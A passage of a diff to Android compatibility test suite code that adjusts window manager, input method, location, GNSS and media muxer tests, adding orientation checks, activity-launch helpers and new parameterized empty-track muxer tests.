+ extras.putParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO,
+ new ConfigInfo(Resources.getSystem()));
client.putExtras(extras);
});
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index cfc9d0a..9640e5a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -40,6 +40,7 @@
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
import static android.view.Surface.ROTATION_0;
import static android.view.Surface.ROTATION_180;
@@ -59,6 +60,7 @@
import android.content.ComponentName;
import android.content.Context;
+import android.content.res.Resources;
import android.graphics.Point;
import android.graphics.Rect;
import android.hardware.display.DisplayManager;
@@ -68,6 +70,7 @@
import android.server.wm.CommandSession.ConfigInfo;
import android.server.wm.CommandSession.SizeInfo;
import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.util.DisplayMetrics;
import android.view.Display;
import org.junit.Test;
@@ -472,6 +475,9 @@
final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
final ConfigInfo onCreateConfigInfo = extras.getParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE);
final SizeInfo onCreateSize = onCreateConfigInfo.sizeInfo;
+ final ConfigInfo globalConfigInfo =
+ extras.getParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO);
+ final SizeInfo globalSizeInfo = globalConfigInfo.sizeInfo;
assertEquals("The last reported size should be the same as the one from onCreate",
reportedSizes, onCreateConfigInfo.sizeInfo);
@@ -485,6 +491,10 @@
expectedRotation, onCreateConfigInfo.rotation);
assertEquals("The application should get the final display rotation in onCreate",
expectedRotation, appConfigInfo.rotation);
+ assertEquals("The orientation of application must be landscape",
+ ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
+ assertEquals("The orientation of system resources must be landscape",
+ ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
assertEquals("The activity should get the final display size in onCreate",
expectedRealDisplaySize, onCreateRealDisplaySize);
@@ -493,6 +503,13 @@
onCreateSize.displayWidth > onCreateSize.displayHeight);
assertEquals("The application should get the same orientation", isLandscape,
appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
+ assertEquals("The app display metrics must be landscape", isLandscape,
+ appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
+
+ final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
+ assertEquals("The display metrics of system resources must be landscape",
+ new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
+ new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 6ad0dc1..bd415bf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -23,6 +23,7 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
@@ -60,6 +61,18 @@
}
/**
+ * Tests that config_remoteInsetsControllerControlsSystemBars is not set to true for
+ * non-automotive devices.
+ */
+ @Test
+ public void testRemoteInsetsControllerNotControlSystemBarsForNonAutoDevies() {
+ assumeFalse(isCar());
+
+ assertFalse("Non auto devices should not set config_remoteInsetsControllerControlsSystemBars",
+ remoteInsetsControllerControlsSystemBars());
+ }
+
+ /**
* Tests that secondary display has override configuration set.
*/
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 1f472b2..49a15f5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -462,6 +462,8 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+ final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
mWmState.computeState(
new WaitForValidActivityState(TEST_ACTIVITY),
@@ -472,6 +474,9 @@
WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
mWmState.assertVisibility(DOCKED_ACTIVITY, true);
mWmState.assertVisibility(TEST_ACTIVITY, true);
+ int restoreW = restoreDockBounds.width();
+ int restoreH = restoreDockBounds.height();
+ resizeDockedStack(restoreW, restoreH, restoreW, restoreH);
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index 8617ddd..fdab986 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -24,9 +24,11 @@
import static org.junit.Assume.assumeTrue;
import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.IntentFilter;
import android.os.Bundle;
import android.os.RemoteCallback;
import android.os.UserHandle;
@@ -87,6 +89,15 @@
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra(EXTRA_CALLBACK, cb);
+ final CountDownLatch returnToOriginalUserLatch = new CountDownLatch(1);
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mContext.unregisterReceiver(this);
+ returnToOriginalUserLatch.countDown();
+ }
+ }, new IntentFilter(Intent.ACTION_USER_FOREGROUND));
+
UserHandle secondUserHandle = UserHandle.of(mSecondUserId);
try {
@@ -104,6 +115,9 @@
}
assertThat(secondUser[0]).isEqualTo(mSecondUserId);
+
+ // Avoid the race between switch-user and remove-user.
+ returnToOriginalUserLatch.await(20, TimeUnit.SECONDS);
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 1057a94..b1a2a0d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -194,9 +194,11 @@
@Test
public void testStartActivityByNavigateUpToFromDiffUid() {
final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+ final String regularActivityName = Activities.RegularActivity.class.getName();
final TestActivitySession<Activities.RegularActivity> activitySession1 =
createManagedTestActivitySession();
- activitySession1.launchTestActivityOnDisplaySync(intent1, DEFAULT_DISPLAY);
+ activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+ DEFAULT_DISPLAY);
final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
createManagedTestActivitySession();
activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index c90b859..35b06ba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -175,7 +175,9 @@
// which can trigger assertion failures in VerifyingCallback otherwise.
runOnUiThread(() -> {
mCallbacks.clear();
- mRootView.setWindowInsetsAnimationCallback(null);
+ if (mRootView != null) {
+ mRootView.setWindowInsetsAnimationCallback(null);
+ }
});
// Now it should be safe to reset the IME to the default one.
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 27b44a5..6d28a3b 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -398,24 +398,59 @@
private static final int ACTIVITY_LAUNCH_TIMEOUT = 10000;
private static final int WAIT_SLICE = 50;
+ /**
+ * Launches an {@link Activity} on a target display synchronously.
+ * @param activityClass The {@link Activity} class to be launched
+ * @param displayId ID of the target display
+ */
void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
- launchTestActivityOnDisplaySync(new Intent(mContext, activityClass), displayId);
+ launchTestActivityOnDisplaySync(activityClass, displayId, WINDOWING_MODE_UNDEFINED);
}
+ /**
+ * Launches an {@link Activity} on a target display synchronously.
+ *
+ * @param activityClass The {@link Activity} class to be launched
+ * @param displayId ID of the target display
+ * @param windowingMode Windowing mode at launch
+ */
void launchTestActivityOnDisplaySync(
Class<T> activityClass, int displayId, int windowingMode) {
- launchTestActivityOnDisplaySync(
- new Intent(mContext, activityClass), displayId, windowingMode);
+ final Intent intent = new Intent(mContext, activityClass)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ final String className = intent.getComponent().getClassName();
+ launchTestActivityOnDisplaySync(className, intent, displayId, windowingMode);
}
- void launchTestActivityOnDisplaySync(Intent intent, int displayId) {
- launchTestActivityOnDisplaySync(intent, displayId, WINDOWING_MODE_UNDEFINED);
+ /**
+ * Launches an {@link Activity} synchronously on a target display. The class name needs to
+ * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+ *
+ * @param className Optional class name of expected activity
+ * @param intent Intent to launch an activity
+ * @param displayId ID for the target display
+ */
+ void launchTestActivityOnDisplaySync(@Nullable String className, Intent intent,
+ int displayId) {
+ launchTestActivityOnDisplaySync(className, intent, displayId, WINDOWING_MODE_UNDEFINED);
}
- void launchTestActivityOnDisplaySync(Intent intent, int displayId, int windowingMode) {
+ /**
+ * Launches an {@link Activity} synchronously on a target display. The class name needs to
+ * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+ *
+ * @param className Optional class name of expected activity
+ * @param intent Intent to launch an activity
+ * @param displayId ID for the target display
+ * @param windowingMode Windowing mode at launch
+ */
+ void launchTestActivityOnDisplaySync(
+ @Nullable String className, Intent intent, int displayId, int windowingMode) {
SystemUtil.runWithShellPermissionIdentity(
() -> {
- mTestActivity = launchActivityOnDisplay(intent, displayId, windowingMode);
+ mTestActivity =
+ launchActivityOnDisplay(
+ className, intent, displayId, windowingMode);
// Check activity is launched and resumed.
final ComponentName testActivityName = mTestActivity.getComponentName();
waitAndAssertTopResumedActivity(
@@ -423,25 +458,47 @@
});
}
+ /**
+ * Launches an {@link Activity} on a target display asynchronously.
+ * @param activityClass The {@link Activity} class to be launched
+ * @param displayId ID of the target display
+ */
void launchTestActivityOnDisplay(Class<T> activityClass, int displayId) {
+ final Intent intent = new Intent(mContext, activityClass)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ final String className = intent.getComponent().getClassName();
SystemUtil.runWithShellPermissionIdentity(
() -> {
mTestActivity =
launchActivityOnDisplay(
- new Intent(mContext, activityClass)
- .addFlags(FLAG_ACTIVITY_NEW_TASK),
- displayId,
- WINDOWING_MODE_UNDEFINED);
+ className, intent, displayId, WINDOWING_MODE_UNDEFINED);
assertNotNull(mTestActivity);
});
}
- private T launchActivityOnDisplay(Intent intent, int displayId, int windowingMode) {
+ /**
+ * Launches an {@link Activity} on a target display. In order to return the correct activity
+ * the class name or an explicit {@link Intent} must be provided.
+ *
+ * @param className Optional class name of expected activity
+ * @param intent {@link Intent} to launch an activity
+ * @param displayId ID for the target display
+ * @param windowingMode Windowing mode at launch
+ * @return The {@link Activity} that was launched
+ */
+ private T launchActivityOnDisplay(
+ @Nullable String className, Intent intent, int displayId, int windowingMode) {
+ final String localClassName = className != null ? className :
+ (intent.getComponent() != null ? intent.getComponent().getClassName() : null);
+ if (localClassName == null || localClassName.isEmpty()) {
+ fail("Must provide either a class name or an intent with a component");
+ }
final ActivityOptions launchOptions = ActivityOptions.makeBasic();
launchOptions.setLaunchDisplayId(displayId);
launchOptions.setLaunchWindowingMode(windowingMode);
final Bundle bundle = launchOptions.toBundle();
- final ActivityMonitor monitor = mInstrumentation.addMonitor((String) null, null, false);
+ final ActivityMonitor monitor = mInstrumentation.addMonitor(localClassName, null,
+ false);
mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
// Wait for activity launch with timeout.
mTestActivity = (T) mInstrumentation.waitForMonitorWithTimeout(monitor,
@@ -1188,6 +1245,11 @@
.getBoolean(android.R.bool.config_perDisplayFocusEnabled);
}
+ protected static boolean remoteInsetsControllerControlsSystemBars() {
+ return getInstrumentation().getTargetContext().getResources()
+ .getBoolean(android.R.bool.config_remoteInsetsControllerControlsSystemBars);
+ }
+
/** @see ObjectTracker#manage(AutoCloseable) */
protected HomeActivitySession createManagedHomeActivitySession(ComponentName homeActivity) {
return mObjectTracker.manage(new HomeActivitySession(homeActivity));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
index 4039a13..418d298 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/CommandSession.java
@@ -1023,6 +1023,12 @@
sizeInfo = new SizeInfo(display, metrics, config);
}
+ public ConfigInfo(Resources res) {
+ final DisplayMetrics metrics = res.getDisplayMetrics();
+ final Configuration config = res.getConfiguration();
+ sizeInfo = new SizeInfo(null /* display */, metrics, config);
+ }
+
@Override
public String toString() {
return "ConfigInfo: {displayId=" + displayId + " rotation=" + rotation
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index ebc1d30..dd8d070 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -25,9 +25,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import android.graphics.Point;
import android.os.Process;
import android.os.SystemClock;
import android.util.Pair;
+import android.view.View;
import android.view.Window;
import android.view.WindowInsets;
import android.view.WindowInsetsAnimationControlListener;
@@ -101,6 +103,7 @@
Pair<EditText, Window> launchResult = launchTestActivity();
final EditText editText = launchResult.first;
+ final View decorView = launchResult.second.getDecorView();
WindowInsets[] lastInsets = new WindowInsets[1];
@@ -141,7 +144,8 @@
controlLatch.await(5, TimeUnit.SECONDS);
assertEquals(0, controlLatch.getCount());
- assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+ assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+ lastInsets[0].getInsets(ime()).bottom);
assertEquals(animController[0].getShownStateInsets(), lastInsets[0].getInsets(ime()));
// Change keyboard height, but make sure the insets don't change until the controlling
@@ -151,7 +155,8 @@
SystemClock.sleep(500);
// Make sure keyboard height hasn't changed yet.
- assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+ assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+ lastInsets[0].getInsets(ime()).bottom);
// Wait until new insets dispatch
CountDownLatch insetsLatch = new CountDownLatch(1);
@@ -167,7 +172,8 @@
assertEquals(0, insetsLatch.getCount());
// Verify new height
- assertEquals(NEW_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+ assertEquals(getExpectedBottomInsets(NEW_KEYBOARD_HEIGHT, decorView),
+ lastInsets[0].getInsets(ime()).bottom);
assertFalse(cancelled[0]);
}
@@ -197,4 +203,23 @@
}
};
}
+
+ private int getDisplayHeight(View view) {
+ final Point size = new Point();
+ view.getDisplay().getRealSize(size);
+ return size.y;
+ }
+
+ private int getBottomOfWindow(View decorView) {
+ int viewPos[] = new int[2];
+ decorView.getLocationOnScreen(viewPos);
+ return decorView.getHeight() + viewPos[1];
+ }
+
+ private int getExpectedBottomInsets(int keyboardHeight, View decorView) {
+ return Math.max(
+ 0,
+ keyboardHeight
+ - Math.max(0, getDisplayHeight(decorView) - getBottomOfWindow(decorView)));
+ }
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 9cd6be1..cad3309 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,8 +16,14 @@
package android.view.inputmethod.cts;
+import static android.view.View.VISIBLE;
import static android.view.WindowInsets.Type.ime;
import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE;
import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
@@ -75,6 +81,7 @@
@RunWith(AndroidJUnit4.class)
public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
@Rule
public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
@@ -408,6 +415,96 @@
}
}
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
+ }
+
+ @Test
+ public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+ runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+ }
+
+ private void runImeDoesntReshowAfterKeyguardTest(int softInputState) throws Exception {
+ try (MockImeSession imeSession = MockImeSession.create(
+ InstrumentationRegistry.getInstrumentation().getContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ // Launch a simple test activity
+ final TestActivity testActivity =
+ TestActivity.startSync(activity -> new LinearLayout(activity));
+
+ // Launch a dialog and show keyboard
+ final String marker = getTestMarker();
+ final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+ final AtomicReference<AlertDialog> dialogRef = new AtomicReference<>();
+ TestUtils.runOnMainSync(() -> {
+ final EditText editText = new EditText(testActivity);
+ editText.setHint("focused editText");
+ editText.setPrivateImeOptions(marker);
+ editText.requestFocus();
+ final AlertDialog dialog = new AlertDialog.Builder(testActivity)
+ .setView(editText)
+ .create();
+ dialog.getWindow().setSoftInputMode(softInputState);
+ dialog.show();
+ editText.getWindowInsetsController().show(ime());
+ editTextRef.set(editText);
+ dialogRef.set(dialog);
+ });
+
+ TestUtils.waitOnMainUntil(() -> dialogRef.get().isShowing()
+ && editTextRef.get().hasFocus(), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+ expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+ View.VISIBLE, TIMEOUT);
+ expectImeVisible(TIMEOUT);
+
+ // Clear editor focus after screen-off
+ TestUtils.turnScreenOff();
+ TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
+ TIMEOUT);
+ expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+ // Expect showSoftInput comes when system notify InsetsController to apply show IME
+ // insets after IME input target updated.
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+ notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+ TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
+
+ // Verify IME will invisible after device unlocked
+ TestUtils.turnScreenOn();
+ TestUtils.unlockScreen();
+ // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+ // focused since the editText view focus has been cleared.
+ TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
+ && !editTextRef.get().hasFocus(), TIMEOUT);
+ expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+ expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+ expectImeInvisible(TIMEOUT);
+ }
+ }
+
private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
final ImeSettings.Builder builder = new ImeSettings.Builder();
builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index b6d51f3..af4bb57 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -66,8 +66,8 @@
protected void setUp() {
// Can't use assumeTrue / assumeFalse because this is not a junit test, and so doesn't
// support using these keywords to trigger assumption failure and skip test.
- if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
- // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+ if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
+ // TV, auto, and watch do not support the setting options of WIFI scanning and Bluetooth
// scanning
return;
}
@@ -83,7 +83,7 @@
@CddTest(requirement = "7.4.2/C-2-1")
public void testWifiScanningSettings() throws Exception {
- if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+ if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
return;
}
launchScanningSettings();
@@ -115,7 +115,7 @@
@CddTest(requirement = "7.4.3/C-4-1")
public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
- if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+ if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
return;
}
launchScanningSettings();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 4b2f002..2b8509e 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -39,6 +39,8 @@
import java.util.List;
import java.util.concurrent.TimeUnit;
+import androidx.test.filters.RequiresDevice;
+
/**
* Test computing and verifying the pseudoranges based on the raw measurements
* reported by the GNSS chipset
@@ -256,6 +258,7 @@
*/
@CddTest(requirement = "7.3.3")
@AppModeFull(reason = "Flaky in instant mode")
+ @RequiresDevice // emulated devices do not support real measurements so far.
public void testPseudoPosition() throws Exception {
// Checks if Gnss hardware feature is present, skips test (pass) if not
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index d68741c..dd5f795 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -1059,6 +1059,15 @@
}
}
+ @Test
+ public void testSimpleMuxNative() {
+ Assume.assumeTrue("TODO(b/146421018)",
+ !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+ Assume.assumeTrue("TODO(b/146923287)",
+ !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+ assertTrue(nativeTestSimpleMux(mInpPath, mOutPath, mMime, selector));
+ }
+
/* Does MediaMuxer throw IllegalStateException on missing codec specific data when required.
* Check if relevant exception is thrown for AAC, AVC, HEVC, and MPEG4
* codecs that require CSD in MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4.
@@ -1091,14 +1100,161 @@
}
}
}
+ }
+
+ @LargeTest
+ @RunWith(Parameterized.class)
+ public static class TestAddEmptyTracks {
+ private final List<String> mimeListforTypeMp4 =
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+ MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_VIDEO_HEVC,
+ MediaFormat.MIMETYPE_AUDIO_AAC, MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC,
+ MediaFormat.MIMETYPE_TEXT_SUBRIP);
+ private final List<String> mimeListforTypeWebm =
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_VP8, MediaFormat.MIMETYPE_VIDEO_VP9,
+ MediaFormat.MIMETYPE_AUDIO_VORBIS, MediaFormat.MIMETYPE_AUDIO_OPUS);
+ private final List<String> mimeListforType3gp =
+ Arrays.asList(MediaFormat.MIMETYPE_VIDEO_MPEG4, MediaFormat.MIMETYPE_VIDEO_H263,
+ MediaFormat.MIMETYPE_VIDEO_AVC, MediaFormat.MIMETYPE_AUDIO_AAC,
+ MediaFormat.MIMETYPE_AUDIO_AMR_NB, MediaFormat.MIMETYPE_AUDIO_AMR_WB);
+ private final List<String> mimeListforTypeOgg =
+ Arrays.asList(MediaFormat.MIMETYPE_AUDIO_OPUS);
+ private String mMime;
+ private String mOutPath;
+
+ public TestAddEmptyTracks(String mime) {
+ mMime = mime;
+ }
+
+ @Before
+ public void prologue() throws IOException {
+ mOutPath = File.createTempFile("tmp", ".out").getAbsolutePath();
+ }
+
+ @After
+ public void epilogue() {
+ new File(mOutPath).delete();
+ }
+
+ private boolean isMimeContainerPairValid(int format) {
+ boolean result = false;
+ if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4)
+ result = mimeListforTypeMp4.contains(mMime);
+ else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM) {
+ return mimeListforTypeWebm.contains(mMime);
+ } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+ result = mimeListforType3gp.contains(mMime);
+ } else if (format == MediaMuxer.OutputFormat.MUXER_OUTPUT_OGG) {
+ result = mimeListforTypeOgg.contains(mMime);
+ }
+ return result;
+ }
+
+ @Parameterized.Parameters(name = "{index}({0})")
+ public static Collection<Object[]> input() {
+ return Arrays.asList(new Object[][]{
+ // Video
+ {MediaFormat.MIMETYPE_VIDEO_H263},
+ {MediaFormat.MIMETYPE_VIDEO_AVC},
+ {MediaFormat.MIMETYPE_VIDEO_HEVC},
+ {MediaFormat.MIMETYPE_VIDEO_MPEG4},
+ {MediaFormat.MIMETYPE_VIDEO_VP8},
+ {MediaFormat.MIMETYPE_VIDEO_VP9},
+ // Audio
+ {MediaFormat.MIMETYPE_AUDIO_AAC},
+ {MediaFormat.MIMETYPE_AUDIO_AMR_NB},
+ {MediaFormat.MIMETYPE_AUDIO_AMR_WB},
+ {MediaFormat.MIMETYPE_AUDIO_OPUS},
+ {MediaFormat.MIMETYPE_AUDIO_VORBIS},
+ // Metadata
+ {MediaFormat.MIMETYPE_TEXT_SUBRIP},
+ // Image
+ {MediaFormat.MIMETYPE_IMAGE_ANDROID_HEIC}
+ });
+ }
@Test
- public void testSimpleMuxNative() {
- Assume.assumeTrue("TODO(b/146421018)",
